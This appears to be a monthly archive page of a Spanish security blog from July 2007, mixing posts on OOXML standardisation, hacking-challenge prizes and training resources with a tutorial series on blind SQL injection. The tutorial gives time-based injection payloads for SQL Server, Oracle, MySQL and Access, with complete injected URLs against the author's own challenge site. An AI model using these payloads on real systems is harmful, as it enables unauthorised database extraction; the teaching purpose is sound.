martes, julio 31, 2007

Blind SQL Injection (V).
El tiempo

Ayer dejaba una pregunta en el aire, [que RoMaNSoft y Dani K no dejaron escapar] sobre que hacer en el caso de que tengamos un valor por defecto y no haya forma de encontrar otro valor para poder discernir entre verdadero y falso.

La solución es sencilla, realizar inyecciones en base a tiempo. Esto ya lo hemos comentado varias veces, e incluso os he puesto una herramienta, SQL Ninja [no es la única, ya os pondré más], que puede realizar la automatización para SQL Server. Ya existen soluciones para Microsoft SQL Server y Oracle basadas en llamadas a procedimientos almacenados, y para MySQL basados en consultas pesadas usando llamadas a las funciones Benchmark.

Un ejemplo con SQL Server

Para ilusitrar este ejemplo con SQL Server hemos realizado una migración del Primer Reto Hacking a un SQL Server y hemos realizado unas pruebas de tiempo con Wget. Esta herramienta en modo comando realiza una petición GET a una página y nos marca el inico y el final de cada petición. Aquí tenéis los resultados.


Como se ve en esa primera captura, entre el tiempo de inicio y el de final han pasado unos 10 segundos, justo el delay marcado si se cumplía la condición.


En esta segunda petición se ve que es falso porque no se ha producido el retardo. ¿Qué soluciones tenemos para generar estos retardos de tiempo?

Pues varias, estas consultas, como os imaginaréis, dependen del motor de base de datos utilizado.

Microsoft SQL Server:

- Llamada de retardo: ; waitfor delay '0:0:15' –-
- Uniendo consulta pesada: and (…(10000 > (select count(*) from sysobjects,sysusers,sycolums) --

Oracle:

- Llamada de retardo: ; BEGIN DBMS_LOCK.SLEEP(5); END;--
- Uniendo consulta pesada: and (…(10000> (select count(*) from all_users, all_tables, all_columns...)

MySQL:

Uniendo consulta pesada: And exists(SELECT BENCHMARK(…(1000000,MD5(CHAR(116))))

Para los entornos en los que no tengamos acceso a los procedimientos almacenados o a las tablas del diccionario de datos, siempre podremos utilizar consultas pesadas en función de las tablas que conozcamos, el número de filas que tengan y alguna que otra función matemática. Esto dependerá del volumen de filas que tenga cada tabla y el numero de joins y/o cálculo matemático que podamos forzar.

Access:

La respuesta para Access es como para cualquier otra base de datos a la que no podamos acceder a procedimientos almacenados de retardo, consiste en buscar una consulta que haga tardar más de la cuenta al sistema. Dani K. se ha currado una consulta pesada para el Primer Reto Hacking y yo he hecho las pruebas con Wget para ver las mediciones de tiempo. Totalmente automatizable. Ha prometido resolver el Primer Reto Hacking con esta técnica, así que espero publicar pronto un nuevo solucionario ;)

Inyección de Verdad: http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=1 and (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0

Tiempo de Respuesta: 6 segundos.

Inyección Falsa: http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 0=1 and (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0

Tiempo de Respuesta: 1 segundo.

Como se puede ver, si tu web es vulnerable, entonces... es vulnerable.

Saludos Malignos!

lunes, julio 30, 2007

Blind SQL Injection (IV).
El Valor por Defecto

El problema del Conjunto Vacío (o cuál es el valor sin inyectar de referencia) en el análisis de un parámetro para averiguar si es vulnerable o no a SQL Injection y a explotación mediante Blind SQL Injection es muy importante. Tanto, que la elección del valor que utilicemos como conjunto vacío determinará que lleguemos a la conclusión correcta o a una conclusión errónea.

Para entender el problema analicemos un ejemplo. Tenemos una aplicación web con un programa que se llama programa.cod y de él, tras haber realizado un crawling (o recogida de todas las URLs de la web) tenemos un valor para uno de los parámetros que tenemos, digamos el parámetro id con el valor 1.

En resumen tenemos una URL del siguiente tipo:

http://www.miservidor.com/programa.cod?id=1

Y queremos saber si el parámetro id es vulnerable a SQL Injection explotable por Blind SQL Injection. Para ello probamos inyecciones de cambio de comportamiento 0 y de cambio de comportamiento negativo/positivo con los famosos:

http://www.miservidor.com/programa.cod?id=1 and 1=1
http://www.miservidor.com/programa.cod?id=1 and 1=0


¿Nos llevarán los resultados obtenidos a conocer si el parámetro es vulnerable o no?

Pues depende. Imaginemos, que el programador, ante la ausencia de resultados desde la base de datos muestra un valor por defecto. Si da la casualidad de que ese valor por defecto es justo el valor que tenemos, en este caso el valor 1 para el parámetro id no vamos a poder detectar la vulnerabilidad, ya que vamos a tener como respuesta algo que nos va a simular un parámetro seguro.

Jugando con el Primer Reto Hacking.

El código vulnerable allí era pista.aspx y el parámetro era id_pista. De este parámetro se daban dos valores, uno de ellos, el valor 1, era el valor por defecto, así que si intentabas encontrar la vulnerabilidad utilizando dicho valor, nunca llegarías a verla. Echemos un vistazo.

Primero sin inyección, el conjunto vacío:

http://www.informatica64.com/retohacking/pista.aspx?id_pista=1

Probamos ahora con la inyección and 1=1 para ver si podemos inyectar lógica:


http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=1

Como se ve hemos obtenido la misma página de resultado, veamos ahora con la inyección and 1=2 para ver si obtenemos otra distinta.


http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=2

Obtenemos la misma. Es decir, o es segura o estamos frente al parámetro por defecto y no vamos a poder saber si es vulnerable o no. Esto lo comprobamos introduciendo alguna Inyección No Valida, es decir, basura.


http://www.informatica64.com/retohacking/pista.aspx?id_pista=asd'asd

¿Quiere decir ésto que el parámetro es seguro? La respuesta es No. De hecho, si miramos con el valor 2 del parámetro, rápidamente se descubre la vulnerabilidad.


http://www.informatica64.com/retohacking/pista.aspx?id_pista=2

Y ahora probamos las inyecciones and 1=1


http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=1

Y and 1=2


http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=2

Y podemos comprobar la vulnerabilidad del parámetro. Esto es importante a la hora de comprobar la vulnerabilidad o no del mismo. La elección del valor por defecto. Analizaré más adelante como hacerlo con algunas herramientas de detección de vulnerabilidades, pero mientras. Una pregunta. ¿Qué pasa si no existiera ese valor 2? ¿Alguna otra solución?

Saludos!

domingo, julio 29, 2007

Se acabó la Liga

***************************************************************
Artículo Publicado en Windows TI Magazine nº 122 Julio/Agosto 2007.
***************************************************************


La liga se ha acabado. Pero el mundo del fútbol no se detiene y los despachos seguirán funcionando persiguiendo los tan deseados fichajes de verano. En el mundo Microsoft esta selección de fichajes la hemos podido ver en la construcción de la plantilla de seguridad de la compañía.

El objetivo, tener un plantilla competitiva. En el verano del año 2003, con polémica por medio, Microsoft adquirió GeCad, una compañía rumana que desarrollaba un motor de antivirus. La polémica que se generó fue enorme, pero a día de hoy, a ritmo de una polémica por día en el mundo de la tecnología ya casi ni nos acordamos de ella. La tecnología, la plantilla y los conocimientos se emplearían en construir el Microsoft Anitmalware que viene incluido en Microsoft Forefront Server Security y Microsoft Forefront Client Security, pero también se extendería a otros productos y herramientas como la MSRT (Malicious Software Removal Tool), Windows Live Safety Center o Windows Live OneCare.

En las frías navidades del año 2004, se ficha la compañía Giant, con origen neoyorquino, que tenía tecnología antispyware y que daría lugar a Microsoft Antispyware, aquel producto que duró en fase beta más de un año y que al final recibiría la marca de Windows Defender. Hoy en día es un producto gratutito que viene integrado con Windows Vista.

En el año 2005, después de haber obtenido la tecnología más necesaria para proteger a los clientes, la compañía se centra en los servidores. Sin más retraso, el objetivo es hacerse con los servicios de Sybari, que tiene en sus manos Antigen, un producto capaz de escanear el correo electrónico con hasta 9 motores Antivirus, escanearlos en memoria y pasarelas y hacerlo utilizando un framework común, con lo que no son 9 formas distintas de acceder a los datos para realizar 9 chequeos de antivirus, sino un único acceso a los datos para que sea chequeado por 9 motores. A Microsoft le encaja perfectamente en su política. Eso ayuda a subir la estabilidad de los servidores pues reduce en 9 el número de incidencias posibles. ¡Listo pues! El 8 de Febrero de 2005 se anuncia su adquisición para que aparezca el Microsoft Forefront Server Security para Exchange Server, para SharePoint y para Comunications Server. El 31 de Agosto de 2005 se anuncia la compra de FrontBridge, una compañía especializada en la securización del correo electrónico que aportará tecnología antispam, es decir conocimiento y herramientas para Intelligent Message Filter en Exchange Server 2007 y para Spam Cure en Forefront Security Server.

El 19 de Septiembre se incorpora Alacris, una compañía centrada en la gestión de identidad y en el ciclo de vida de los certificados digitales y smartcards.

En el año 2006 se ha buscado fortificar la gestión de sistemas, para tener una mayor seguridad de la plataforma. El 9 de Febrero se anuncia el fichaje de FutureSoft’s DynaComm i:Filter, tecnología de Filtrado Web que se utilizará en Microsoft Forefront Security Server. El 26 de Abril se anuncia la compra de Assetmetrix, para incluir la tecnología de inventariado y gestión de activos y licencias para incluirla en System Center.

El 18 de Mayo de 2006 se confirma la adquisición de Whale Comunications, una compañía que había desarrollado tecnología de acceso VPN-SSL utilizando Microsoft ISA Server y que sería rebautizada como Microsoft Forefront Intelligent Application Gateway, quizás uno de los productos más llamativos de la gama de seguridad.
Softgrid se presenta el día 17 de Julio con la tecnología de virtualización de aplicaciones gestionada y a la carta, una tecnología necesaria en las grandes compañías y de la que Microsoft carecía. Al día siguiente, el día 18, se hace pública la compra de Wininternals, la compañía de Mark Russinovich, el eterno técnico de Sysinternals, MVP de seguridad durante varios años y famoso por sus trabajos con el kernel de los sistemas Windows y las herramientas Process Monitor, File Monitor... de Sysinternals.

La última incorporación de 2006 fue el 2 de Octubre, la empresa Desktop Standard, con tecnología de optimización en la gestión del puesto de trabajo y que, junto a herramientas de Softgrid, daría lugar al Microsoft Desktop Optimization Pack.

Este año se ha incorporado un último fichaje: la empresa Engyro, que con su tecnología de integración de sistemas de terceros con SMS y MOM han aumentado la potencia de interoperatibilidad de System Center, anunciándose System Center Engyro en el último TechEd en USA.

Con todas estas incorporaciones, Microsoft ha puesto sobre el terreno de juego al equipo Forefront (Server Security, Client Security, ISA Server e IAG) y al equipo System Center (MoM, SMS, Essentials, Engyro) para competir en la complicada liga de los productos de seguridad.

Bies malignos!

PD: Una recopilación más amplia de empresas compradas por Spectra en: Spectra I+D+I

sábado, julio 28, 2007

¿Abandonar?

Ha pasado otro semestre y le he vuelto a dar varias vueltas a esta península, es tiempo de volver a plantearse si debo Abandonar o no. Así que me toca revisar la carpeta Fotos de mi ordenador, a ver si me ayuda a decidir que hacer:
Coruña - Marzo - Con Alex

Albacete - Esta foto es del Semestre pasado, pero quería que entendierais por qué volví a la Universidad.

Pamplona - Julio - José, David, María - S21Sec rocks!

Huesca - Mónica, "Babyface" Morón, y los periodistas

Londres - Febrero - Semana Increible

Barcelona - Mayo - Security Day

Madrid - TechDay

Tignes - Francia

Amsterdam...mmm

Sevilla - Sorian, SiW2P, Silverhack
Miguel A. Ramos, Pedro Laguna, Penyaskito


Pamplona - El Training Day - "La Presi" Elena

Y por supuesto... más MadriZ....

... Y Bronxtolex... con Rodol

Creo que aguantaré sin abandonar, aunque solo sea otro semestre... luego ya veremos.

Buen finde!

viernes, julio 27, 2007

Premio para el IV Reto Hacking

Para los más ávidos destrozawebs estamos ya en marcha con el IV Reto Hacking, si todo va como debe, estará disponible en unas semanas, pero aprovechando que se ya se acaba el tiempo de currar y llega el veranito debéis poneros las pilas. Lejos han quedado aquellos momentos de estrecheces en los que hubo que empeñar hasta la ropa interior para tener un premio. Para este nuevo Reto hacking he preparado un primer premio de impresión. El genuino, el glamuroso, el grande y sin igual Bender. Este magnífico personaje está a buen recaudo en una estantería bajo mi vigilante mirada y será para el que saque el primer premio.

Sé que aún tengo pendientes premios por entregar: la caricatura da “mandingo” [¡mándame la foto perro!], la camiseta a Kachakil, la tarta de queso con arándanos a Pedro Laguna, la noche de fiesta a RoMaNSoFt o la caja de botijos a Palako [amén de los 50 leuros que le debo a Penyaskito], pero no os preocupéis, yo siempre pago. Prueba de esto es el momento en que RoMaNSoFt recibía su primer software de Spectra original como premio de un Reto.


Y para que os pongáis nerviosos os dejo ver al adorable matahumanos. El hijoputa más salao, que se llevará el que rompa la web del IV Reto Hacking.


Saludos malignos!

PD: “La abogada soltera, lucha por sus clientes…”

PD2: Por cierto, creo que ni de coña conseguirás llevarte esta joya si antes no controlas los tres retos anteriores:

Reto Hacking I - Solucionario por D. Kachakil
Reto Hacking II - Solucionario por D. Kachakil
Reto Hacking III - Solucionario por RoMaNSoFt

jueves, julio 26, 2007

Cómo Comerse una Comilla (CCC)

Los que habéis venido a mis conferencias sabéis que cuando hablo de estas cosas siempre cuento un chiste que viene a decir :

"Acabo de hacer un curso por fascículos y ya soy programador de aplicaciones de comercio electrónico"

Este es el primer paso para empezar a cagarla en un proyecto. Ya hablamos del proceso de cagadas en el post de "Se me ha ocurrido una idéa cojonuda". Lo que me llama poderósamente la atención es que una gran compañía preocupada por la seguridad se coma una comilla de la forma más tonta y como no, a lo grande.

El 29 de Abril de este año le hicieron un XSS persistente a una web de Spectra que decoraron con la famosa foto del tartazo a Bil Gates [Defacement en Spectra]. Tras analizar lo ocurrido, se explicó que era un site muy antiguo, hecho por un tercero, etc... Es decir, vale, cagada de despiste.

El 27 de Junio, es decir, hace casi un mes, ha vuelto a ser hackeado otro minisite de Spectra, esta vez una aplicación de gestión de eventos en el reino unido y con un SQL Injection de los de CCC, es decir, de "Como Comerse una Comilla". Es en un parámetro que se envía por GET, sin filtrado ninguno y con muestra pública de los mensajes de error. Tienes la captura en la siguiente imagen:


Al final, lo que sucedió es que se descubrió un campo en una tabla de la base de datos que había detras que se utilizaba para mostrar la página y se actualizó con un bonito código de inyección HTML que decoraba la web como queda en esta página:


Al programador de esto, si no tiene una buena excusa... ¡Qué le castiguen con los artilugios de "We share your Pain"!.


Si queréis ver la explicación de como se hizo el ataque podéis bajaros el vídeo en alta calidad grabado por el descubridor explicando el proceso en la siguiente URL: RapidShare

Y puedes leer más de esta noticia en Zone-h.

miércoles, julio 25, 2007

Más mentiras en el proceso de OOXML

Saltandome mi política de racionamiento de posts (que ayuda a mi terápia de tener vida) y viendo que la votación es mañana y que los poderes “fácticos” del lado del bien intentan confundir a los pobres malvados, he decidido sacar mi versión más maligna y copiaros la transcripción de la carta TOTALMENTE CONFIDENCIAL y que publican los "amigos" de neutralidad (que para querer neutralidad tecnológica su web no valida HTML y se ve mal con IE6 y además todos su miembros son del mismo “bando” y con los mismos intereses [ya sabéis cuales son: paz, amor y más sexo para todos]) y de la que se han hecho eco en barrapunto y en breve, es de esperar, en todos los blogs de los tecnicoless de turno “amigos de la teoría de la conspiración”

Estimado sr.

Recientemente el International Standards Group de Ecma ha remitido un estándar a IS0 para su aprobación por vía de urgencia (fast-track); se trata del estándar "Ecma 376 Office Open XML".

Desde mi responsabilidad como Director General de Innovación y Administraciones Públicas de la Junta de Andalucía, y siendo competente en materia de política informática de esta Administración Autonómica, he de manifestarle nuestro mayor interés en el proceso de elaboración de estándares sobre materias tan relevantes como es el intercambio de documentos en formatos electrónicos.

Los formatos de intercambio de documentos son un pilar para el desarrollo de la Sociedad de la Información y, como parte relevante de la misma, de la llamada Administración Inteligente; es por ello que la Junta de Andalucía manifestará siempre su apoyo al establecimiento de estándares en este terreno, y por lo que deseo que AENOR, en su condición de miembro del 1SO/IEC JTC1 transmita a dicho comité nuestro apoyo en este sentido.

La apuesta de la Junta de Andalucía por la adopción de estándares abiertos en materia de tecnologías de la información entronca directamente con las recomendaciones de la Unión Europea recogidas en el "Marco Europeo de Interoperabilidad" y, se encuentra actualmente firmemente sustentada por el estándar ISO/IEC 26300 [ODF] en materia de formatos de documentos; confío que el resultado de la tramitación que ISO inicia vendrá a enriquecer y robustecer las expectativas de extensión de los estándares abiertos y la interoperabilidad.

La reciente experiencia adquirida en la elaboración de un "Marco de Interoperabilidad para los Sistemas de Información de la Junta de Andalucía", impulsado desde esta Dirección General, podría resultar de utilidad en este campo.

Es por ello que junto con mi equipo quedo a su disposición y del comité mencionado para cualquier colaboración y ayuda que estimen oportuna en la materia de la presente carta.

Atentamente


Siento que se hayan liado con las siglas, pero Ecma 376 Office Open XML es OOXML y sí, la carta no dice que va a usar OOXML, sino que:

“Los formatos de intercambio de documentos son un pilar para el desarrollo de la Sociedad de la Información y, como parte relevante de la misma, de la llamada Administración Inteligente; es por ello que la Junta de Andalucía manifestará siempre su apoyo al establecimiento de estándares en este terreno, y por lo que deseo que AENOR, en su condición de miembro del 1SO/IEC JTC1 transmita a dicho comité nuestro apoyo en este sentido”

Según yo puedo leer, dice, que manifestará siempre su apoyo al establecimiento de estándares en este terreno, es decir, a todos los procesos de estandarización de formatos de ficheros y lo transmite al comité JTC1 que es quién vota sobre OOXML como pone en la cabecera. Después deja claro que ellos usan ODF, pero recalca, al comité que vota OOXML: “confío que el resultado de la tramitación que ISO inicia vendrá a enriquecer y robustecer las expectativas de extensión de los estándares abiertos y la interoperabilidad.”

Cada uno puede poner y quitar sus apoyos a quién quiera y cuando quiera, como dice Linus Torvalds, “soy libre de cambiar de opinión”. Pero la carta es la que es y de esto sacamos varias conclusiones:

1.- En el proceso de aprobación o no (mañana) del estándar alguien está filtrando información y saltándose el juego limpio.

2.- La gente de la Junta de Andalucía envío una carta a favor de la estandarización de formatos, pero se deja manipular por los que quieren poner ODF contra OOXML, cuando no es esto lo que se vota mañana, sino si OOXML cumple lo necesario para ser un estándar, y eso, hoy por hoy nadie puede demostrar que no lo cumpla. Si no se vota en España a favor será por sentimiento anti-Microsoft, no por otras cosas.

La carta publicada por Neutralidad

Perdonadme todos, pero desde que aprendí a leer las manipulaciones así no me las como. Al señor Director de Innovación de la junta le gustará o no lo que ha dicho y habrá enviado una carta ofendidisimo explicando que está "en el otro bando" por, sin darse cuenta, haber podido apoyar con sus palabras "al mal", pero lo que pone en la carta es lo que pone. Lo siento, yo sé leer. ¿Y tú?

Saludos Malignos!

Comida despedida

Mañana es la última charla antes del parón del verano, así que, a petición de varios de vosotros, vamos a montar un papeo de autentico lujo. El menú degustación que hemos pensado es:

- Fino tubérculo de huerta, bañado en jugo de aceituna, con tomate caramelizado ligeramente picante.
- Néctar de cebada, atemperada en jarras de fino cristal o plástico del bueno, espumosa y refrescante.

Una traducción del menú lo tenéis en el siguiente vídeo:



El lugar será, después del evento en Getafe, en algún garito de Getafe o Bronxtoles. Se ruega confirmación y saber de cuantos coches disponemos.

Fast HTTP Auth Scanner por Tarasco

La verdad, es que lo mejor de este trabajo es encontrar la gente con la que te encuentras. Uno de estos piezas es el señor Atar. Desde el día que nos conocimos no hemos perdido el contacto y desde que estamos en el Messenger es un poco más capullo que antes. El amigo, ahora “pseudo retirado” en su tierra se dedica a conectar conmigo y ponerme los dientes largos con lo que está trabajando, o con el paraíso dónde curra ahora. Siempre le amenazo con poner la foto con el deportivo dietético con el que apareció en la última charla que fuimos juntos a la universidad, así que hoy la voy a poner.


Durante esta semana me ha mandado un par de capturas del último juguete con el que estaba currando, un programita para conseguir conectarte a routers de tu mismo segmento de Internet. Ahí no lo pone, pero él me ha dado alguna explicación de su uso muy divertida. Si no fortificas la validad de credenciales de tu router de conexión a Internet alguien puede entrar en tu router, crearse una conexión VPN para su máquina y realizar NAT a través tuyo. Si además elimina todos los logs puede utilizarse como plataforma de anonimato para hacer “cosas”.

La herramienta la ha hecho pública ayer en la web de 514. Es muy útil para los tests de intrusión. Puedes descargarla de la siguiente URL:

Fast HTTP Auth Scanner

¡Atar, eres un máquina!

martes, julio 24, 2007

Sandalias y Chiringuitos

Hoy, en Málaga, con el veranito y los golfos estos que tengo por compañeros estoy muy felíz. Hacía tiempo que estaba retirado de los escenarios (unas tres semanas), así que tenía ganas.

Como estoy más feliz, que una perdiz, os voy a dejar tres vídeos que me han gustao:

El primero es sobre lo duro que es el Soporte Informático:



El segundo un "making off" sobre como se hizo la canción de la Mandanga, para que empecéis a hablar el autentico idioma de los gatos:



Y el último, la que será la canción del verano:



Ale, un interludio.

lunes, julio 23, 2007

OOXML. Las desinformaciones al respecto.

Recuerdo la época en la que se pedía a gritos conocer el formato de los ficheros binarios de Office:

“Spectra saca partido de su conocimiento del formato de los documentos Office por eso no lo libera”

Era el secreto que Spectra utilizaba para mantener su posición dominante según muchos. Ahora que quiere se quiere hacer de él un estándar libre, para que todo el mundo lo conozca, parece que ha cambiado el argumento:

“Spectra quiere liberar el formato de los documentos Office para sacar partido”

Algunos descubren que el formato OOXML es muy malo porque “puede embeber datos binarios”. Y eso no debería estar porque:

“Spectra lo que quiere es que sea compatible con todo lo generado por sus productos anteriores”

Pues sí, quiere eso, y que además sea compatible con todos los formatos anteriores de todos los fabricantes, por eso permite la integración de esquemas XML de terceros. Parece ser que la buena idea que algunos “visionarios en el mantenimiento de infraestructuras de información” es ignorar más de 40 billones de documentos de los 400 millones de usuarios de Office, pero no solo esos documentos, sino hacer tabla rasa también para otros tantos de millones de documentos que aún hay de Word Perfect, de Lotus AmiPro (este era mi procesador de adolescencia) o de cualquier otro.

Lo curioso, es que estos descubridores del secreto mejor guardado solo tenían que LEERSE LA PÁGINA 1 del documento OFFICE OPEN XML OVERVIEW del Comité de Estandarización de ECMA, dónde dice:

OpenXML was designed from the start to be capable of faithfully representing the pre-existing corpus of word-processing documents, presentations, and spreadsheets that are encoded in binary formats defined by Microsoft Corporation. The standardization process consisted of mirroring in XML the capabilities required to represent the existing corpus, extending them, providing detailed documentation, and enabling interoperability.

Y ahora nuestros visionarios buscan propiedades ocultas sobre los formatos de fichero de Word95 en el formato OOXML. Spectra no engaña a nadie, tiene la mayor base de documentos del mundo en formatos binarios, es un estándar de facto y quiere abrirlo, mantenerlo e interoperarlo. No hay magia, desde hace tiempo se puede conseguir a través de un mail [Formatos Office]:

“La documentación que cubre las especificaciones binarias de formato de archivo es acumulativa y cubre el formulario más actual de los formatos binarios de archivo así como de las versiones anteriores. Si desea recibir la documentación, póngase en contacto con Microsoft en la dirección de correo electrónico siguiente para iniciar el proceso de registro de acuerdo: officeff@microsoft.com

Lo curioso es que a los técnicos de IBM esto les parecía genial y llegaron a publicar unos bonitos artículos con los siguientes párrafos:

Integrate your Microsoft® Office 2007 documents into your enterprise and Internet applications more easily than ever before with DB2® 9. Review older methods of data interchange with MS Office documents, and learn how MS Office 2007 offers better data interchange. This article discusses interchange with DB2 9 XQuery, Zend Core for IBM®, HP: Hypertext Preprocessor (PHP), and Php Data Objects (PDO) technologies.

Parece que a IBM les gusta el formato de Office 2007. Y este otro párrafo también es interesante.

After reading this article, I hope you will find that consuming and re-purposing MS Office 2007 documents is easy with IBM DB2 pureXML™ features. Not much code is required, so this solution is easy to implement.

Vaya, si IBM ya procesaba los documentos OOXML con facilidad y usando sus propias herramientas. Parece que el formato es bueno, y que no es costoso para ellos trabajar con él. Sin embargo, en plena guerra contra la estandarización ese artículo se elimina de las páginas de IBM. Pero lo localizan en la caché de Google y lo hacen público. Rápidamente es borrado de la caché de Google, pero… alguien ya los tenía descargados. Podéis ver las capturas del documento en la siguiente URL [Now you see, Now you don´t], aunque no sé si IBM es lo que quiere, que leáis estas cosas.

A pesar de todo esto, parece que IBM no es como Spectra y está en el lado del bien. Y no pasa nada porque ella tenga patentes mientras que el que las tenga Spectra es dañino. Como todos sabéis Spectra hizo ya hace tiempo la Open Promise.

Esta promesa, denostada por muchos, era tirada por tierra con argumentos del tipo "no sirve para nada". ¿No? Pues nuestro amigo de piel de cordero, los de “I Boy_y Melocreo” han sacado esta otra Promesa, el día 10 de Julio de 2007:

Therefore, IBM irrevocably covenants to you that it will not assert any Necessary Claims against you for your making, using, importing, selling, or offering for sale Covered Implementations.

Y en esa lista se encuentran estas dos especificaciones sobre las que parece tener patentes:

Open Document Format for Office Applications (OpenDocument) v1.0
Open Document Format for Office Applications (OpenDocument) v1.1


Es curioso, todas las patentes que tiene, que mucha gente está usando y NADIE, ABSOLUTAMENTE NADIE se ha dado cuenta de que podían haber exigido royalties. Claro, esto es debido a que a nadie le importa, porque estos chicos son buenos. Son del lado del bien. Ellos quieren la paz en el mundo, el amor y que … no sé, haya … no sé… ¿más amor? Creo, de hecho, que es el objetivo que está escrito en las acciones de la compañía. Que haya amor. De Spectra no, sabemos que ellos quieren gobernar el mundo.

Y luego hablan de manipulación. Mi opinión es que se está jugando la baza de manipular a la gente a través del sentimiento Anti-Spectra y lo increíble es que a muchos “visionarios” se la están colando.

Saludos desde El Lado Del Mal.

domingo, julio 22, 2007

Momentus Ridiculous VII

Llegó el momento de hablar con nuestros congeneres informáticos y alertarles de la nueva ola social, de los técnicoless, de esos grandes expertos. Así que el Chico Maravillas y yo, volvimos a transformarnos.

Diciembre de 2006. MVP Open Day

A la entrada nuestros compañeros demostraron que tenían mucho interés en vernos y escucharnos, así que nos esperaron, [los muy cabr..] de esta guisa:


Vestidos de técnicoless, yo Traje "Look Apple" y el Chico Maravillas con un "model" "años 60" [no es viejo, es moda retro] con nuestros gemelos azules a juego con el mando de la Wii y todo, les explicamos algunos secretos de la nueva orden social dominante. Los técnicoless.


Allí mismo, desvelamos nuestros secretos, "porque nosotros somos señores", "Somos hombres de buena educación", "Decimos tonterías, sí, pero con buena educación". Les dimos algunos trucos para vestirse como un buen técnicoless, nada de disfraces y camisetas geek, "por dios, ¡que grosería!". Y luego les enseñamos técnicasless de lectura rápida para técnicoless. Sí, si quieres ser un blogger técnicoless, no tienes tiempo de aprender, debes leer rápido, traducir a medias, e imaginar el resto de la noticia con una teoría conspiratoria.

El chico maravilla lo explicó claramente:

"¿Para que vais a probar algo vosotros? Haced lo que nosotros los técnicoless decimos en los blogs. No perdais tiempo teniendo vuestra opinión, nosotros ya la tenemos por vosotros. Y como nosotros somos más listos, llegamos, con nuestras técnicasless de lectura rápida a la conclusión mucho antes que vosotros. Somos un bien social"

También dimos algunos trucos básicos "para rellenar los huecos que no entiendas o no tengas tiempo de investigar de una noticia". Las reglas hay que dárselas a la plebe geek como hizo Hommer com Bart:

1.- La culpa fue de Spectra.
2.- Spectra es malo.
3.- Todos los demás lo hacemos por bien de la humanidad y siempre desinteresadamente.


Al final, como era de suponer "la plebe geek" quiso inmortalizarse junto a la "Élite blogosférica de los Técnicoless".


No, no estamos estreñidos, es que somos así de "técnicoless".

sábado, julio 21, 2007

Fórmate en las filas del mal
Recursos Online

Spectra, en su infinita necesidad de expandir sus tentáculos en el objetivo final de la dominación del mal necesita que el pueblo esté formado en sus procedimientos. Qué sepa responder correctamente ante cada problema y que todas las situaciones con tecnología maligna sean respondidas al instante. Aquí tienes los recursos ONLINE para que te formes este veranito.

Webcasts

Son charlas a través de Internet impartidas por consultores, MVPS, MCTs, MCSEs, etc… sobre temáticas abordables en una charla de una hora. Se hacen por tracks y puedes encontrar cursos online completos totalmente gratuitos. Suelen hacerse por la tarde (en horario de España) y si estás cuando se realizan puedes preguntar a los ponentes. Luego se quedan grabadas y puedes verlas en cualquier momento. Incluso algunas son descargables a PC para que las veas cuando y donde quieras.

Ahora mismo no hay ninguno planificado en castellano (sí que los hay en inglés), pero cuando se planifican nuevos puedes acceder a ellos a través de esta URL: http://www.microsoft.es/technet/jornadas/webcasts
Los webcasts grabados, los tienes en esta otra URL: http://www.microsoft.es/technet/jornadas/webcasts/webcasts_ant

Videos On Demand

Anteriores a los webcasts se grababan las conferencias que se impartían y quedan muchas grabadas de SPS 2003, ISA Server 2004 e incluso Security Days. ¡Qué bonito vernos con unos años más jóvenes! Ojo. El player está pensado para IE6, si os da problemas…. Lo siento. La URL:
http://www.microsoft.es/technet/evento/videos

Virtual Labs

Una vez que hayas aprendido lo que querrás es poder practicar un poco, así que nada mejor que engancharte a un entorno de pruebas y enredar. Con los Virtual Lab te conectas a máquinas virtuales pre-configuradas para que montes IPSec, configures un SharePoint, un ISA o una VPN. Los laboratorios llevan un cuaderno que te va guiando y explicando las prácticas que debes hacer. Totalmente gratuitos para que pruebes.

- Para los IT Pros: Technet Virtual Labs
- Para los desarrolladores: MSDN Virtual Labs

IT ShowTime

Dentro de las grabaciones de eventos, los mejores a nivel internacional se graban y se subtitulan para que puedas atender a las charlas de los eventos internacionales: Teched, Winhex, etc… Merece la pena. La URL:

- IT ShowTime

Recursos en la Web

Las webs de Technet y MSDN son lugares donde acceder a todos estos recursos, pero también puedes hacerlo por medio de los blogs de los evangelistas:

- David Cervigón [Technet]: http://blogs.technet.com/davidcervigon/
- José “abuelo” Parada [Technet]: http://blogs.technet.com/padreparada/
- David Carmona [MSDN]: http://blogs.msdn.com/tropezones/
- David Salgado [MSDN]: http://blogs.msdn.com/davidsalgado/
- Ethel [MSDN]: http://blogs.msdn.com/ethelcilla/
[mirad que moto más chula en el About me]
- José Murillo [MSDN para ISV]: http://blogs.msdn.com/josemurl/
- El blog de Vista-Tecnica: http://geeks.ms/blogs/vista-tecnica

Los foros:

- MSDN: http://forums.microsoft.com/msdn-es/
- Technet: http://forums.microsoft.com/technet-es/

Y los blogs de los MVPS, que como son muchos habrá que esperar a que los pongan en los comentarios (si quieren).

Y siempre te queda el recurso de preguntar directamente en El Lado del Mal.

Bies Malignos!

viernes, julio 20, 2007

SQL Injection en base a errores ODBC e Internet Explorer 7

El día de navidad del año 1998 rain.forest.puppy, en el Phrack Magazine Volumen 8, Número 54 publicó un artículo titulado “NT Web Technology Vulnerabilities” en el que analizaba las posibilidades de la inyección de código SQL en aplicaciones ASP y motores de bases de datos SQL Server 6.5. Utilizando estas técnicas hackeó Packetstorm, un sitio web con información sobre Seguridad Informática en el que consiguió convertirse en administrador, y explicó como lo hizo en un documento que publicó en Febrero del 2000 titulado “How i Hacked PacketStorm”.

Allá por el año 2001, en las conferencias de BlackHat, David Litchfield presentaba un documento titulado “Web Application Disassembly with ODBC Error Messages” [PPT en Blackhat] en el que se contaba cómo podía sacarse información sobre la base de datos de un aplicación web a partir de los mensajes de error ODBC no controlados por el programador.

